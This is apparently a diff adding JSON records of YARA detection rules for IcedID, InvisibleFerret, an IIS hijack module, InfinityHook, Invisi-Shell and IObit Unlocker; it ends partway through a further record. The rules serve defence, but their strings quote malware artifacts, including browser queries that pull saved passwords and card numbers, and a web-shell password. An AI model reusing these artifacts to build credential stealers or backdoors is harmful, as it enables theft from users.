+  "content": "rule icedid_loader_stage_3_march_2021_campaign {\n    meta:\n        title = \"IcedID Loader Stage 3\"\n        id = \"fa8fc1d1-089e-45d8-a985-38382016e06c\"\n        description = \"Detects the IcedID loader stage 3 in memory related to the March 2021 Campaign.\\nIcedID is a modular banking malware designed to steal financial information. It has been observed in the wild since at least 2017 and is often delivered via phishing emails.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid\\nhttps://attack.mitre.org/software/S0483/\"\n        date = \"2021-03-31\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1218.011;attack.t1017.002;attack.initial_access;attack.t1566.001;attack.discovery;attack.t1082;attack.s0483\"\n        classification = \"Windows.Trojan.IcedID\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // ea0f00b4b41bbdd9e49c5747454242dc0beddcd38a59fb819059456714c381f5\n        // 5e41f538d053ad1a0defef561fde940d70f627d24a22d05f5cf104c62fd540ac\n        // be10ef45a43a03cc0163a106bd36d39b05c58dd929e57a2f6078350a48f3c730\n\n        $vm_detect = {\n            FF 15 ?? ?? ?? ??       // call    cs:kernel32__SwitchToThread\n            0F 31                   // rdtsc\n            48 C1 E2 20             // shl     rdx, 20h\n            48 0B C2                // or      rax, rdx\n            4C 8B C0                // mov     r8, rax\n            33 C9                   // xor     ecx, ecx\n            B8 01 00 00 00          // mov     eax, 1\n            0F A2                   // cpuid\n            89 44 24 ??             // mov     [rsp+38h+var_18], eax\n            89 5C 24 ??             // mov     [rsp+38h+var_14], ebx\n            89 4C 24 ??             // mov     [rsp+38h+var_10], ecx\n            89 54 24 ??             // mov     [rsp+38h+var_C], edx\n            0F 31                   // rdtsc\n            48 C1 E2 20             // shl     rdx, 20h\n            48 0B C2                // or      rax, rdx\n            49 2B C0                // sub     rax, r8\n            48 03 F8                // add     rdi, rax\n            FF 15 ?? ?? ?? ??       // call    cs:kernel32__SwitchToThread\n            0F 31                   // rdtsc\n            48 C1 E2 20             // shl     rdx, 20h\n            90                      // nop\n            48 0B C2                // or      rax, rdx\n            48 8B C8                // mov     rcx, rax\n            0F 31                   // rdtsc\n            48 C1 E2 20             // shl     rdx, 20h\n            48 0B C2                // or      rax, rdx\n            48 2B C1                // sub     rax, rcx\n        }\n\n        // Interesting bits of strings found in the decrypted license.dat which\n        // are unlikely to generate false-positives.\n        $s1 = \"{0ccac395-7d1d-4641-913a-7558812ddea2}\" ascii nocase\n        $s2 = \"{d65f4087-1de4-4175-bbc8-f27a1d070723}\" ascii nocase\n        $s3 = \"abe2869f-9b47-4cd9-a358-c22904dba7f7\" ascii nocase\n        $s4 = \"{e3f38493-f850-4c6e-a48e-1b5c1f4dd35f}\" ascii nocase\n        $s5 = \"passff.tar\" ascii nocase\n        $s6 = \"cookie.tar\" ascii nocase\n        $s7 = \"1.2.840.113549.1.1.5\" ascii nocase\n        $s8 = \"cmd.exe /c chcp >&2\" ascii\n        $s9 = \"20847809\" ascii\n        $s10 = \"55090927\" ascii\n\n    condition:\n        $vm_detect and (7 of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "icedid_loader_stage_3_march_2021_campaign"
+  ],
+  "rule_creation_date": "2021-03-31",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.IcedID"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1017.002",
+    "attack.t1218.011",
+    "attack.t1566.001",
+    "attack.t1082"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-iis_hijackserver_module_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569491Z",
+  "creation_date": "2026-03-23T11:46:25.569493Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569498Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\nhttps://asec.ahnlab.com/en/87804/\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks"
+  ],
+  "name": "iis_hijackserver_module.yar",
+  "content": "rule iis_hijackserver_module {\n    meta:\n        title = \"IIS HijackServer Module\"\n        id = \"975a3e67-7622-43dc-a146-9a9774c6a733\"\n        description = \"Detects a malicious DLL loaded as a native IIS module related to HijackServer.\\nThis malicious module is loaded into the w3wp.exe process and intercept HTTP requests to perform actions according to the content of the requests.\\nIt is recommended to analyze the context around this alert and investigate further suspicious actions or network connections.\"\n        references = \"https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\\nhttps://asec.ahnlab.com/en/87804/\\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks\"\n        date = \"2025-09-02\"\n        modified = \"2025-10-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1505.004\"\n        classification = \"Windows.Malware.HijackServerModule\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2\n        // 82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788\n\n        $str_affiliate00 = \"affLinkSeoRes\"\n        $str_affiliate01 = \"affLinkSeoResArr\"\n        $str_affiliate02 = \"affLinkCenter\"\n        $str_affiliate03 = \"Aff Link SEO Result Array\"\n        $str_affiliate04 = \"Aff Link SEO Result\"\n        $str_affiliate05 = \"affLinkTemplateSeoRes\"\n        $str_affiliate06 = \"seoSiteAffLinkNum\"\n        $str_affiliate07 = \"SEO Site Affiliate Link Number\"\n\n        $str_diskclean00 = \"diskCleanRatio\"\n        $str_diskclean01 = \"diskCleanThreshold\"\n        $str_diskclean02 = \"Disk Clean Threshold\"\n        $str_diskclean03 = \"Disk Clean Ratio\"\n        $str_diskclean04 = \"clean?type=tmp\"\n        $str_diskclean05 = \"clean?type=conf\"\n        $str_diskclean06 = \"clean?type=all\"\n\n        $str_hijack00 = \"seoGroupHijackbotUaMatchRules\"\n        $str_hijack01 = \"SEO Group Hijackbot UA Match Rules\"\n        $str_hijack02 = \"Hijackbot\"\n\n        $str_tryclean00 = \"TryCleanTmp:-------------------START----------------------\"\n        $str_tryclean01 = \"TryCleanTmp:admin setting diskCleanThreshold\"\n        $str_tryclean02 = \"TryCleanTmp:currentUsagePercentage\"\n        $str_tryclean03 = \"TryCleanTmp:need to clean tmp\"\n        $str_tryclean04 = \"TryCleanTmp:admin setting diskCleanRatio\"\n        $str_tryclean05 = \"TryCleanTmp:clean after! currentUsagePercentage\"\n        $str_tryclean06 = \"TryCleanTmp:no clean tmp\"\n        $str_tryclean07 = \"TryCleanTmp:-------------------END----------------------\"\n\n        $str_mode00 = \"/debug\"\n        $str_mode01 = \"/conf\"\n        $str_mode02 = \"/health\"\n        $str_mode03 = \"/clean\"\n        $str_mode04 = \"/delete_tmp\"\n\n        $str_shell00 = \"hack123456!\"\n        $str_shell01 = \"CMD:\"\n        $str_shell02 = \"RESULT:\"\n\n    condition:\n        4 of ($str_affiliate*)\n        or 4 of ($str_diskclean*)\n        or 2 of ($str_hijack*)\n        or 3 of ($str_tryclean*)\n        or all of ($str_mode*)\n        or (all of ($str_shell*) and 1 of ($str_affiliate*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "iis_hijackserver_module"
+  ],
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2025-10-23",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.HijackServerModule"
+  ],
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1505.004"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-infinityhook_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572342Z",
+  "creation_date": "2026-03-23T11:46:25.572344Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572350Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/everdox/InfinityHook\nhttps://attack.mitre.org/techniques/T1014/"
+  ],
+  "name": "infinityhook.yar",
+  "content": "rule infinity_hook {\n    meta:\n        title = \"Infinity Hook Technique\"\n        id = \"e3f3fd0f-2f4a-4b32-8412-e8ca08a67cb2\"\n        description = \"Detects the Infinity Hook technique used to inject malicious code into legitimate processes.\\nInfinity Hook is a technique that hooks various system events such as system calls, context switches, page faults, and Deferred Procedure Calls (DPCs). This rule identifies activity characteristic of Infinity Hook, which is commonly used to hide malicious behavior by injecting into legitimate processes. The detection is based on specific patterns related to Infinity Hook's implementation and known indicators.\\nIt is recommended to investigate the associated process for signs of malicious code injection or unauthorized modifications.\"\n        references = \"https://github.com/everdox/InfinityHook\\nhttps://attack.mitre.org/techniques/T1014/\"\n        date = \"2024-02-08\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1014\"\n        classification = \"Windows.Generic.InfinityHook\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9f4614684cba3d21cda7013c1982a09e5ef58e123783a0586ddf0ab0fb3fdf09\n        // b8536bc844e04009f8d9890f63693eb707bfa7ae8dd6430f68d09cd082c8a56b\n\n        // https://github.com/everdox/InfinityHook/blob/864a0eabc44e7cd8581be499bf88857e6fd28bfb/src/libinfinityhook/infinityhook.cpp#L51\n        $etw_data_pattern = {\n            2c 08 04 38 0c\n        }\n\n        // https://github.com/everdox/InfinityHook/blob/864a0eabc44e7cd8581be499bf88857e6fd28bfb/src/libinfinityhook/hde/table64.h#L37\n        $hde_table_64 = {\n            a5aaa5b8a5aaa5aaa5b8a5b8a5b8a5b8c0c0c0c0c0c0c0c0acc0ccc0a1a1a1a1b1a5a5a6c0c0d7dae0c0e4c0eaeae0e098c8eef1a5d3a5a5a1ea9ec0c0c2c0e6037f117f017f013f0101ab8b90645b5b5b5b5b925b5b769092925b5b5b5b5b5b5b5b5b5b5b5b6a73905b525252525b5b5b5b777c77855b5b705b7aaf76765b5b5b5b5b5b5b5b5b5b5b860103010403d503d503cc01bc03f00303040050505050ff2020202001010101c40210ffffff01000311ff03c4c6c8021000ffcc0101010000000001010301ffffc0c210110203010101ffffff000000ff0000ffffffff1010101002100000c6c8020202020600040002ff00c0c20101030303ca40000a0004000000007f003301000000000000ffbfffff00000000070000ff0000000000000000000000000000ffff000000bf00000000000000007f0000ff404040404149404040404c4240404040404040404f44534040404457435c4060404040404040404040404040404064666e6b40406a464040444640405b44404000000000060606060106060206060006000a0a00000002070706020d0606060e05050202000004040404050606060000000e0000080010001800200028003000800182018600f6cffe3fab00b000b100b300baf8bb00c000c100c7bf62ff008dff00c4ff00c5ff00ffffeb01ff0e1208001309001608001709002b0900aeff07b2ff00b4ff00b5ff00c30100c7ffbfe70800f00200\n        }\n\n        $EtwpDebuggerDataPattern = {2c 08 04 38 0c}\n\n        // Exhaustive match over cmp ??, INFINITYHOOK_MAGIC_1 (0x501802)/INFINITYHOOK_MAGIC_2 (0xf33) followed by je/jne based on https://www.felixcloutier.com/x86/cmp and https://www.felixcloutier.com/x86/jcc\n        $magic = {\n            02 18 50 00                // cmp     dword [??], 0x501802\n            (74 ?? | 0F 84 ?? | 75 ?? | 0F 85 ??)   // je/jne  0x?????????\n            [10-60]\n            33 0f 00 00                // cmp     ??, 0xf33\n            (74 ?? | 0F 84 ?? | 75 ?? | 0F 85 ??)   // je/jne  0x?????????\n        }\n\n        $s1 = \"KVASCODE\" ascii fullword\n\n        // const GUID CkclSessionGuid = { 0x54dea73a, 0xed1f, 0x42a4, { 0xaf, 0x71, 0x3e, 0x63, 0xd0, 0x56, 0xf1, 0x74 } };\n        $s2 = {3a a7 de 54 1f ed a4 42 af 71 3e 63 d0 56 f1 74}\n\n        // PVOID SyscallEntry = (PVOID)__readmsr(IA32_LSTAR_MSR);\n        $s3 = {\n            b9 82 00 00 c0      // mov ecx, 0xC0000082 (IA32_LSTAR_MSR)\n            0F 32               // rdmsr\n            }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "infinity_hook"
+  ],
+  "rule_creation_date": "2024-02-08",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.InfinityHook"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-invisibleferret_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563014Z",
+  "creation_date": "2026-03-23T11:46:25.563016Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563021Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/js.beavertail\nhttps://objective-see.org/blog/blog_0x7A.html\nhttps://www.group-ib.com/blog/apt-lazarus-python-scripts/\nhttps://attack.mitre.org/groups/G0032/"
+  ],
+  "name": "invisibleferret.yar",
+  "content": "rule invisibleferret {\n    meta:\n        title = \"InvisibleFerret Backdoor\"\n        id = \"d0bd18b8-ce81-407e-a4e5-1eb4257703c9\"\n        description = \"Detects the InvisibleFerret backdoor, a cross-platform malware associated with the Lazarus Group (also known as APT38 or DPRK), a North Korean state-sponsored threat actor.\\nInvisibleFerret is designed to steal sensitive data from popular web browsers on Windows, Linux, and macOS by targeting login credentials and other stored information.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/js.beavertail\\nhttps://objective-see.org/blog/blog_0x7A.html\\nhttps://www.group-ib.com/blog/apt-lazarus-python-scripts/\\nhttps://attack.mitre.org/groups/G0032/\"\n        date = \"2024-10-25\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.credential_access;attack.t1056.001;attack.t1555.003;attack.command_and_control;attack.t1571;attack.exfiltration;attack.t1041\"\n        classification = \"Backdoor.InvisibleFerret\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n\n        // Initial script\n        $init1 = \"download_payload\" ascii fullword\n        $init2 = \"/pay\" ascii fullword\n        $init3 = \"download_browse\" ascii fullword\n        $init4 = \"/bow\" ascii fullword\n        $init5 = \"download_mclip\" ascii fullword\n        $init6 = \"/mlip\" ascii fullword\n        $init7 = \"Darwin\" ascii fullword\n\n        // pay component\n        $pay_f1 = \"Geo.getGeo\" ascii fullword\n        $pay_f2 = \"Information.get_info\" ascii fullword\n        $pay_f3 = \"Comm.contact_server\" ascii fullword\n        $pay_f4 = \"write_flist\" ascii fullword\n        $pay_f5 = \"Shell.bro_down\" ascii fullword\n        $pay_f6 = \"Client.make_connection\" ascii fullword\n\n        $pay_s1 = \"start ses recv\" ascii fullword\n        $pay_s2 = \"ses recv size:\" ascii fullword\n        $pay_s3 = \"error_listen:\" ascii fullword\n        $pay_s4 = \"start shell\" ascii fullword\n        $pay_s5 = \" >> upload start:\" ascii fullword\n        $pay_s6 = \" >> ufind start:\" ascii fullword\n        $pay_s7 = \"--- uenv start\" ascii fullword\n        $pay_s8 = \"Chrome & Browser are terminated\" ascii fullword\n\n        // bow component\n        $bow_f1 = \"ChromeBase.decrypt_windows_password\" ascii fullword\n        $bow_f2 = \"ChromeBase.decrypt_unix_password\" ascii fullword\n        $bow_f3 = \"Windows.brw_paths\" ascii fullword\n        $bow_f4 = \"Windows.get_encryption_key\" ascii fullword\n        $bow_f5 = \"Linux.brw_paths\" ascii fullword\n        $bow_f6 = \"Linux.get_encryption_key\" ascii fullword\n        $bow_f7 = \"Mac.brw_paths\" ascii fullword\n        $bow_f8 = \"Mac.get_encryption_key\" ascii fullword\n\n        $bow_s1 = \"LoginData.db\" ascii fullword\n        $bow_s2 = \"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created\" ascii fullword\n        $bow_s3 = \"webdata.db\" ascii fullword\n        $bow_s4 = \"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards\" ascii fullword\n\n    condition:\n        all of ($init*) or\n        (\n            4 of ($pay_f*) and\n            4 of ($pay_s*)\n        ) or\n        (\n            4 of ($bow_f*) and\n            all of ($bow_s*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "invisibleferret"
+  ],
+  "rule_creation_date": "2024-10-25",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Backdoor.InvisibleFerret"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1571"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-invisishell_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584800Z",
+  "creation_date": "2026-03-23T11:46:25.584802Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584807Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/OmerYa/Invisi-Shell"
+  ],
+  "name": "invisishell_dll.yar",
+  "content": "rule invisishell_dll {\n    meta:\n        title = \"Invisi-Shell Tool\"\n        id = \"0729fb0a-e615-42d7-bca8-902c130638cf\"\n        description = \"Detects Invisi-Shell tool.\\nInvisi-Shell is a tool that enables attackers to bypass PowerShell security features such as logging, ScriptBlock, and AMSI by using a COR Profiler and .NET assemblies hooking. It allows for undetected execution and persistence.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/OmerYa/Invisi-Shell\"\n        date = \"2022-10-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1574.012\"\n        classification = \"Windows.Tool.InvisiShell\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 833d68452ea956b5d23bcb243cd327bd05dfd79fb5a4a34064783749eafa1ddf\n\n        $s1 = \"System.Management.Automation\" fullword wide\n        $s2 = \"System.Management.Automation.AmsiUtils\" fullword wide\n        $s3 = \"ScanContent\" fullword wide\n        $s4 = \"System.Management.Automation.ScriptBlock\" fullword wide\n        $s5 = \"WriteScriptBlockToLog\" fullword wide\n        $s6 = \"LogScriptBlockStart\" fullword wide\n        $s7 = \"LogScriptBlockEnd\" fullword wide\n\n        $setup_hook = {\n            33 D2                          // xor     edx, edx        ; Val\n            41 B8 00 01 00 00              // mov     r8d, 100h       ; Size\n            40 88 B5 ?? ?? ?? ??           // mov     [rbp+5C90h+var_5028], sil\n            C7 85 ?? ?? ?? ?? 33 C0 C3 00  // mov     [rbp+5C90h+var_5027], 0C3C033h\n            E8                             // call    memset\n        }\n\n    condition:\n        all of ($s*) and #setup_hook > 2\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "invisishell_dll"
+  ],
+  "rule_creation_date": "2022-10-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.InvisiShell"
+  ],
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-iobitunlocker_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566661Z",
+  "creation_date": "2026-03-23T11:46:25.566663Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566669Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/\nhttps://www.iobit.com/fr/iobit-unlocker.php\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "iobitunlocker_driver.yar",
+  "content": "rule driver_iobitunlocker {\n    meta:\n        title = \"IObit Unlocker Driver\"\n        id = \"0cd252a3-ad03-4cb9-91e7-29996fad1ebd\"\n        description = \"Detects the IObit Unlocker driver.\\nIObit Unlocker is a utility tool designed to remove locked system files.\\nAdversaries may use this tool to disable security tools and evade detection.\\nIt is recommended to investigate the process tree for suspicious activities.\"\n        references = \"https://www.reliaquest.com/blog/double-extortion-attack-analysis/\\nhttps://www.iobit.com/fr/iobit-unlocker.php\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2023-09-19\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.Driver.IObitUnlocker\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1845fe8545b6708e64250b8807f26d095f1875cc1f6159b24c2d0589feb74f0c\n        // f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004\n        // a6b6b37e5efaf4a9c7fde9efd53f93ce1b3d040e5c60ab960ef7d4fd7568cb50\n        // c79a2bb050af6436b10b58ef04dbc7082df1513cec5934432004eb56fba05e66\n\n        $s1 = \"ULKDeleteFile: 0x%08x, %wZ\" ascii fullword\n        $s2 = \"ULKCopyFile: 0x%08x, %wZ, %wZ\" ascii fullword\n        $s3 = \"\\\\Device\\\\HarddiskVolume1\\\\unlocker.log\" wide fullword\n\n        $device1 = \"\\\\Device\\\\IObitUnlockerDevice\" wide fullword\n        $device2 = \"\\\\DosDevices\\\\IObitUnlockerDevice\" wide fullword\n\n        $pdb1 = \"\\\\i386\\\\IObitUnlocker.pdb\" ascii\n        $pdb2 = \"\\\\amd64\\\\IObitUnlocker.pdb\" ascii\n\n        // 317b772c7ed9c1ebb808746b02c0ccec4860894f4192fdd095ecaebb223d08f3\n        // f601db241a7e5a6191a5b06c1e828af04fdf8a4b022de8dbba357563b03cceb5\n        $installer = \"dll:uninstall:{app}\\\\IObitUnlocker.dll\" ascii fullword\n\n    condition:\n        uint16(0) == 0x5a4d and\n        (\n            all of ($s*) or\n            (1 of ($device*) and 1 of ($s*)) or\n            1 of ($pdb*)\n        )\n        and not $installer\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "driver_iobitunlocker"
+  ],
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Driver.IObitUnlocker"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-iori_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582536Z",
+  "creation_date": "2026-03-23T11:46:25.582538Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
